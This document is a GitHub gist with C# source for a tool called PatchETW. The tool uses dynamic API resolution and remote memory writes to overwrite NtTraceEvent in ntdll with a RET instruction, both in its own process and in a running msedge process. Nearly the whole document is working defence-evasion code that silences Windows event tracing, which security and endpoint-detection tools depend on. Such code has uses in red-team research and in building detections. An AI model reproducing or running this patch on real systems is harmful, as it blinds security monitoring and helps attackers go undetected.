Skip to content

Instantly share code, notes, and snippets.

@seahop
Last active February 17, 2024 14:22
Show Gist options
  • Save seahop/4a515f8689619332e2932f5025f9ae7b to your computer and use it in GitHub Desktop.
Save seahop/4a515f8689619332e2932f5025f9ae7b to your computer and use it in GitHub Desktop.
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;
namespace PatchETW
{
public static class Native
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int VirtualProtectEx(IntPtr hProcess,
IntPtr lpAddress,
UIntPtr dwSize,
uint flNewProtect,
out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int WriteProcessMemory(IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out uint lpNumberOfBytesWritten);
public delegate int VirtualProtectExDelegate(IntPtr hProcess,
IntPtr lpAddress,
UIntPtr dwSize,
uint flNewProtect,
out uint lpflOldProtect);
public delegate int WriteProcessMemoryDelegate(IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out uint lpNumberOfBytesWritten);
}
internal class Program
{
static int GetProcId()
{
var proc = "msedge";
Console.WriteLine("[+] Getting process ID for target process ({0})", proc);
var process = Process.GetProcessesByName(proc).FirstOrDefault();
Console.WriteLine("[+] Handle: {0}\n[+] Proccess Id: {1}", process.Handle, process.Id);
return process.Id;
}
static IntPtr GetRemoteNtdllBaseAddress(Process targetProcess)
{
var ntdllBaseAddress = targetProcess.Modules.Cast<ProcessModule>().FirstOrDefault(m => m.ModuleName == "ntdll.dll")?.BaseAddress;
if (ntdllBaseAddress.HasValue)
{
return ntdllBaseAddress.Value;
}
else
{
throw new InvalidOperationException();
}
}
static IntPtr GetEtwEventWriteOffset()
{
var localNtdllAddress = Generic.GetLibraryAddress("ntdll.dll", "NtTraceEvent");
var localNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
var offset = (long)localNtdllAddress - (long)localNtdllBaseAddress;
return (IntPtr)offset;
}
static void ModifyRemoteMemory(IntPtr processHandle, IntPtr address, byte newValue)
{
IntPtr vpeAddress = Generic.GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
IntPtr wpmAddress = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
// Create delegate instances
Native.VirtualProtectExDelegate VirtualProtectEx = (Native.VirtualProtectExDelegate)Marshal.GetDelegateForFunctionPointer(vpeAddress, typeof(Native.VirtualProtectExDelegate));
Native.WriteProcessMemoryDelegate WriteProcessMemory = (Native.WriteProcessMemoryDelegate)Marshal.GetDelegateForFunctionPointer(wpmAddress, typeof(Native.WriteProcessMemoryDelegate));
const int PAGE_EXECUTE_READWRITE = 0x40;
if (VirtualProtectEx(processHandle, address, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out var oldProtect) == 0)
{
throw new InvalidOperationException("[!] Failed to change memory protection.");
}
if (WriteProcessMemory(processHandle, address, new[] { newValue }, 1, out _) == 0)
{
throw new InvalidOperationException("[!] Failed to write to the memory.");
}
else
{
Console.WriteLine("[+] Patched 0x{0} to 0x{1}", newValue.ToString("X"), address.ToString("X"));
}
if (VirtualProtectEx(processHandle, address, (UIntPtr)1, oldProtect, out _) == 0)
{
throw new InvalidOperationException("[!] Failed to restore memory protection.");
}
}
static void PatchEtw(IntPtr processHandle, IntPtr remoteNtdllBaseAddress)
{
IntPtr etwEventWriteOffset = GetEtwEventWriteOffset();
IntPtr remoteEtwEventWriteAddress = (IntPtr)((long)remoteNtdllBaseAddress + (long)etwEventWriteOffset);
byte newValue = 0xC3; // RET
ModifyRemoteMemory(processHandle, remoteEtwEventWriteAddress, newValue);
}
static void Main(string[] args)
{
Console.WriteLine("[*] ----- Patching ETW ----- [*]");
int targetProcessId = GetProcId();
Process targetProcess = Process.GetProcessById(targetProcessId);
IntPtr targetProcessHandle = targetProcess.Handle;
Console.WriteLine("[+] Remote NTDLL base address: 0x" + GetRemoteNtdllBaseAddress(targetProcess).ToString("X"));
Console.WriteLine("[+] Current Proc ETW decimal offset: {0}", GetEtwEventWriteOffset().ToString());
Console.WriteLine("[+] Current Proc ETW hex offset: 0x{0}", GetEtwEventWriteOffset().ToString("X"));
Console.WriteLine("[+] Patching Current Process");
Process currentProcess = Process.GetCurrentProcess();
IntPtr currentNtdllBaseAddress = GetRemoteNtdllBaseAddress(currentProcess);
PatchEtw(currentProcess.Handle, currentNtdllBaseAddress);
Console.WriteLine("[+] Patching Remote Process");
IntPtr remoteNtdllBaseAddress = GetRemoteNtdllBaseAddress(targetProcess);
PatchEtw(targetProcessHandle, remoteNtdllBaseAddress);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment